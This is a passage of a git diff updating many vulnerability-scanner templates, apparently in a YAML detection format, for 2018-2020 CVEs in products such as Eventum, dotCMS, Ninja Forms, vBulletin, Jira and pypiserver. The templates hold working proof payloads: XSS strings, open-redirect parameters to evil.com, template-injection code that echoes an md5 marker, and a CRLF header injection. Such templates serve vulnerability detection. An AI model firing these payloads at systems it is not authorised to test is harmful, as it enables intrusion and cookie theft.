  description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.
@@ -1,11 +1,11 @@
 id: CVE-2018-16761

 info:
-  name: Eventum v3.3.4 - Open Redirect
+  name: Eventum <3.4.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
-    Eventum before 3.4.0 has an open redirect vulnerability.
+    Eventum before 3.4.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.invicti.com/web-applications-advisories/ns-18-021-open-redirection-vulnerabilities-in-eventum/
    - https://github.com/eventum/eventum/releases/tag/v3.4.0
@@ -29,3 +29,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -2,7 +2,7 @@ id: CVE-2018-17246

 info:
  name: Kibana - Local File Inclusion
-  author: princechaddha
+  author: princechaddha,thelicato
  severity: critical
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  reference:
@@ -25,19 +25,19 @@ requests:
    matchers-condition: and
    matchers:
      - type: word
+        part: body
        words:
          - "\"message\":\"An internal server error occurred\""
-        part: body

      - type: word
+        part: header
        words:
          - "kbn-name"
-          - "application/json"
          - "kibana"
-        condition: and
-        part: header
-      - type: status
-        status:
-          - 500
+        condition: or
+        case-insensitive: true

-# Enhanced by mp on 2022/05/13
+      - type: word
+        part: header
+        words:
+          - "application/json"
@@ -1,39 +1,37 @@
 id: CVE-2018-17422

 info:
-  name: dotCMS < 5.0.2 - Open Redirect
+  name: DotCMS < 5.0.2 - Open Redirect
  author: 0x_Akoko,daffainfo
  severity: medium
  description: |
-    dotCMS before 5.0.2 has open redirects via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter.
+    dotCMS before 5.0.2 contains multiple open redirect vulnerabilities via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/dotCMS/core/issues/15286
    - https://www.cvedetails.com/cve/CVE-2018-17422
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17422
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-17422
    cwe-id: CWE-601
  metadata:
+    verified: true
    shodan-query: http.title:"dotCMS"
-    verified: "true"
  tags: cve,cve2018,redirect,dotcms

 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://www.interact.sh'
-      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=interact.sh'
+      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://evil.com'
+      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com'

    stop-at-first-match: true
-    matchers-condition: and
    matchers:
-
      - type: word
        part: body
        words:
-          - "self.location = 'http://www.interact.sh'"
+          - "self.location = 'http://evil.com'"
+          - "location.href = 'http\\x3a\\x2f\\x2fwww\\x2eevil\\x2ecom'"

-      - type: status
-        status:
-          - 200
+# Enhanced by md on 2022/10/13
@@ -0,0 +1,54 @@
+id: CVE-2018-19287
+
+info:
+  name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
+    - https://wordpress.org/plugins/ninja-forms/
+    - https://www.exploit-db.com/exploits/45880
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-19287
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-19287
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: wp-plugin,wp,xss,authenticated,wpscan,edb,cve,cve2018,ninja-forms,wordpress
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
+
+      - type: word
+        part: header_2
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/10/17
@@ -5,12 +5,11 @@ info:
  author: DhiyaneshDK
  severity: critical
  description: |
-    Roxy Fileman 1.4.5 allows unrestricted file upload in upload.php.
+    Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/46085/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20526
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20526
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -78,3 +77,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/10/07
@@ -1,14 +1,15 @@
 id: CVE-2018-6200

 info:
-  name: vBulletin 3.x.x & 4.2.x - Open Redirect
+  name: vBulletin - Open Redirect
  author: 0x_Akoko,daffainfo
  severity: medium
  description: |
-    vBulletin 3.x.x and 4.2.x through 4.2.5 has an open redirect via the redirector.php url parameter.
+    vBulletin 3.x.x and 4.2.x through 4.2.5 contains an open redirect vulnerability via the redirector.php URL parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://cxsecurity.com/issue/WLB-2018010251
    - https://www.cvedetails.com/cve/CVE-2018-6200
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-6200
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -35,3 +36,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/10/13
@@ -19,7 +19,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}"
+      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"

    matchers-condition: and
    matchers:
@@ -27,9 +27,7 @@ requests:
      - type: word
        part: body
        words:
-          - "phpinfo"
-          - "PHP Version"
-        condition: and
+          - "4cc32a3a81d2bb37271934a48ce4468a"

      - type: status
        status:
@@ -1,10 +1,10 @@
 id: CVE-2019-1010290

 info:
-  name: Babel - Open Redirection
+  name: Babel - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Babel Multilingual site Babel All is affected by Open Redirection The impact is Redirection to any URL, which is supplied to redirect  in a newurl parameter. The component is redirect The attack vector is The victim must open a link created by an attacker
+  description: Babel contains an open redirect vulnerability via redirect.php in the newurl parameter. An attacker can use any legitimate site using Babel to redirect user to a malicious site, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.
  reference:
    - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/
    - http://dev.cmsmadesimple.org/project/files/729
@@ -26,3 +26,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -1,7 +1,7 @@
 id: CVE-2019-10232

 info:
-  name: Teclib GLPI <= 9.3.3 Unauthenticated SQL Injection
+  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
  author: RedTeamBrasil
  severity: critical
  description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature
@@ -1,7 +1,7 @@
 id: CVE-2019-12314

 info:
-  name: Deltek Maconomy 2.2.5 Local File Inclusion
+  name: Deltek Maconomy 2.2.5 - Local File Inclusion
  author: madrobot
  severity: critical
  description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.
@@ -1,7 +1,7 @@
 id: CVE-2019-12725

 info:
-  name: Zeroshell 3.9.0 Remote Command Execution
+  name: Zeroshell 3.9.0 - Remote Command Execution
  author: dwisiswant0,akincibor
  severity: critical
  description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
@@ -1,7 +1,7 @@
 id: CVE-2019-13101

 info:
-  name: D-Link DIR-600M Authentication Bypass
+  name: D-Link DIR-600M - Authentication Bypass
  author: Suman_Kar
  severity: critical
  description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.
@@ -1,7 +1,7 @@
 id: CVE-2019-13392

 info:
-  name: MindPalette NateMail 3.0.15 Cross-Site Scripting
+  name: MindPalette NateMail 3.0.15 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: MindPalette NateMail 3.0.15 is susceptible to reflected cross-site scripting which could allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.
@@ -1,14 +1,14 @@
 id: CVE-2019-14223

 info:
-  name: Alfresco Share Open Redirect
+  name: Alfresco Share - Open Redirect
  author: pdteam
  severity: medium
-  description: An issue was discovered in Alfresco Community Edition versions below 5.2.6, 6.0.N and 6.1.N. The Alfresco Share application is vulnerable to an Open Redirect attack via a crafted POST request. By manipulating
-    the POST parameters, an attacker can redirect a victim to a malicious website over any protocol the attacker desires (e.g.,http, https, ftp, smb, etc.).
+  description: Alfresco Share before 5.2.6, 6.0.N and 6.1.N contains an open redirect vulnerability via a crafted POST request. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://community.alfresco.com/content?filterID=all~objecttype~thread%5Bquestions%5D
    - https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2019-14223-Open%20Redirect%20in%20Alfresco%20Share-Alfresco%20Community
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -31,4 +31,6 @@ requests:
      - type: regex
        part: header
        regex:
-          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*)$"
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*)$"
+
+# Enhanced by md on 2022/10/13
@@ -1,7 +1,7 @@
 id: CVE-2019-14696

 info:
-  name: Open-Scool 3.0/Community Edition 2.3 - Cross-Site Scripting
+  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
@@ -15,7 +15,7 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2019-14696
    cwe-id: CWE-79
-  tags: packetstorm,cve,cve2019,xss
+  tags: xss,open-school,packetstorm,cve,cve2019

 requests:
  - method: GET
@@ -24,12 +24,19 @@ requests:

    matchers-condition: and
    matchers:
+
+      - type: word
+        part: body
+        words:
+          - '<script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - '<script>alert(document.domain)</script>'
-        part: body

 # Enhanced by mp on 2022/08/08
@@ -1,7 +1,7 @@
 id: CVE-2019-15107

 info:
-  name: Webmin <= 1.920 Unauthenticated Remote Command Execution
+  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
  author: bp0lr
  severity: critical
  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
@@ -1,7 +1,7 @@
 id: CVE-2019-16313

 info:
-  name: ifw8 Router ROM v4.31 Credential Discovery
+  name: ifw8 Router ROM v4.31 - Credential Discovery
  author: pikpikcu
  severity: high
  description: ifw8 Router ROM v4.31 is vulnerable to credential disclosure via action/usermanager.htm HTML source code.
@@ -1,7 +1,7 @@
 id: CVE-2019-16662

 info:
-  name: rConfig 3.9.2 Remote Code Execution
+  name: rConfig 3.9.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
@@ -15,7 +15,10 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-16759
    cwe-id: CWE-94
-  tags: rce,kev,seclists,cve,cve2019,vbulletin
+  metadata:
+    shodan-query: http.component:"vBulletin"
+    verified: "true"
+  tags: cve,cve2019,rce,kev,seclists,vbulletin

 requests:
  - raw:
@@ -24,15 +27,15 @@ requests:
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

-        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B

    matchers-condition: and
    matchers:
+
+      - type: word
+        words:
+          - "addcc9f9f2f40e2e6aca3079b73d9d17"
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "PHP Version"
-
-# Enhanced by mp on 2022/03/29
@@ -0,0 +1,42 @@
+id: CVE-2019-18957
+
+info:
+  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
+  author: tess
+  severity: medium
+  description: |
+    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/bugtraq/2019/Nov/23
+    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
+  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-18957
+    cwe-id: CWE-79
+  tags: cve2019,microstrategy,packetstorm,xss,seclists,cve
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "previousLoginMode: alert(document.domain),"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/10/18
@@ -4,7 +4,8 @@ info:
  name: phpMyChat-Plus 1.98 - Cross-Site Scripting
  author: madrobot
  severity: medium
-  description: phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
+  description: |
+    phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
  reference:
    - https://cinzinga.github.io/CVE-2019-19908/
    - http://ciprianmp.com/
@@ -15,20 +16,30 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2019-19908
    cwe-id: CWE-79
-  tags: cve,cve2019,xss,injection,javascript
+  metadata:
+    verified: true
+    google-dork: inurl:"/plus/pass_reset.php"
+  tags: cve,cve2019,phpMyChat,xss

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"
+
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - 'username = "</script><script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "<script>alert(1337)</script>"
-        part: body

 # Enhanced by mp on 2022/08/31
@@ -12,9 +12,10 @@ info:
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html
    - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-2729
+    cwe-id: CWE-284
  tags: cve,cve2019,oracle,rce,weblogic

 requests:
@@ -1,10 +1,11 @@
 id: CVE-2019-3402

 info:
-  name: Jira <8.1.1 - Cross-Site Scripting
+  name: Jira < 8.1.1 - Cross-Site Scripting
  author: pdteam
  severity: medium
-  description: Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
+  description: |
+    Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
  reference:
    - https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
    - https://jira.atlassian.com/browse/JRASERVER-69243
@@ -15,6 +16,7 @@ info:
    cve-id: CVE-2019-3402
    cwe-id: CWE-79
  metadata:
+    verified: true
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2019,atlassian,jira,xss

@@ -25,12 +27,18 @@ requests:

    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "'<script>alert(1)</script>' does not exist"
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "<script>alert(1)</script>"
-        part: body

 # Enhanced by mp on 2022/08/31
@@ -15,7 +15,7 @@ info:
    cwe-id: CWE-863
  metadata:
    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2019,atlassian,jira
+  tags: cve,cve2019,atlassian,jira,enumeration

 requests:
  - method: GET
@@ -25,18 +25,18 @@ requests:
    matchers-condition: and
    matchers:

+      - type: word
+        words:
+          - '"users":'
+          - '"total":'
+          - '"header":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'application/json'
+
      - type: status
        status:
          - 200
-
-      - type: word
-        words:
-          - 'application/json'
-        part: header
-
-      - type: word
-        words:
-          - users
-          - total
-          - header
-        condition: and
@@ -9,7 +9,7 @@ info:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
@@ -1,15 +1,16 @@
 id: CVE-2019-3912

 info:
-  name: LabKey Server < 18.3.0 - Open Redirect
+  name: LabKey Server Community Edition <18.3.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites.
+  description: LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://www.cvedetails.com/cve/CVE-2019-3912
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3912
    cwe-id: CWE-601
@@ -27,3 +28,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -0,0 +1,32 @@
+id: CVE-2019-6802
+
+info:
+  name: Pypiserver 1.2.5 - CRLF Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
+  reference:
+    - https://vuldb.com/?id.130257
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
+    - https://github.com/pypiserver/pypiserver/issues/237
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-6802
+    cwe-id: CWE-79,CWE-74
+  metadata:
+    shodan-query: html:"pypiserver"
+    verified: "true"
+  tags: cve,cve2019,crlf,generic,pypiserver
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - 'Set-Cookie: crlfinjection=1;'
@@ -12,7 +12,7 @@ info:
    - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7255
    cwe-id: CWE-79
@@ -11,7 +11,7 @@ info:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
    - https://applied-risk.com/labs/advisories
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-7256
    cwe-id: CWE-78
@@ -1,17 +1,18 @@
 id: CVE-2019-7275

 info:
-  name: Open Redirect in Optergy Proton/Enterprise BMS
+  name: Optergy Proton/Enterprise Building Management System - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Optergy Proton/Enterprise devices allow Open Redirect.
+  description: Optergy Proton/Enterprise Building Management System contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://packetstormsecurity.com/files/155268/Optergy-Proton-Enterprise-BMS-2.3.0a-Open-Redirect.html
    - https://applied-risk.com/resources/ar-2019-008
    - https://cxsecurity.com/issue/WLB-2019110074
    - https://applied-risk.com/labs/advisories
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-7275
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7275
    cwe-id: CWE-601
@@ -27,3 +28,5 @@ requests:
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
+
+# Enhanced by md on 2022/10/13
@@ -1,15 +1,16 @@
 id: CVE-2019-9915

 info:
-  name: GetSimpleCMS 3.3.13 - Open Redirection
+  name: GetSimple CMS 3.3.13 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: GetSimpleCMS 3.3.13 has an Open Redirect via the admin/index.php redirect parameter.
+  description: GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.invicti.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms
    - https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1300
    - https://www.cvedetails.com/cve/CVE-2019-9915
    - https://www.netsparker.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms/
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-9915
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -33,3 +34,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -1,7 +1,7 @@
 id: CVE-2020-10546

 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement,
@@ -1,7 +1,7 @@
 id: CVE-2020-10547

 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
@@ -7,9 +7,10 @@ info:
  description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
  reference:
    - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
-    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
+    - https://github.com/grafana/grafana/pull/23254
    - https://security.netapp.com/advisory/ntap-20200810-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+    - https://hackerone.com/reports/1329433
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
@@ -1,7 +1,7 @@
 id: CVE-2020-11991

 info:
-  name: Apache Cocoon 2.1.12 XML Injection
+  name: Apache Cocoon 2.1.12 - XML Injection
  author: pikpikcu
  severity: high
  description: Apache Cocoon 2.1.12 is susceptible to  XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
@@ -0,0 +1,34 @@
+id: CVE-2020-13121
+
+info:
+  name: Submitty 20.04.01 - Open redirect
+  author: 0x_Akoko
+  severity: medium
+  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
+  reference:
+    - https://github.com/Submitty/Submitty/issues/5265
+    - https://www.cvedetails.com/cve/CVE-2020-13121
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2020-13121
+    cwe-id: CWE-601
+  tags: cve,cve2020,redirect,submitty,oos
+
+requests:
+  - raw:
+      - |
+        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
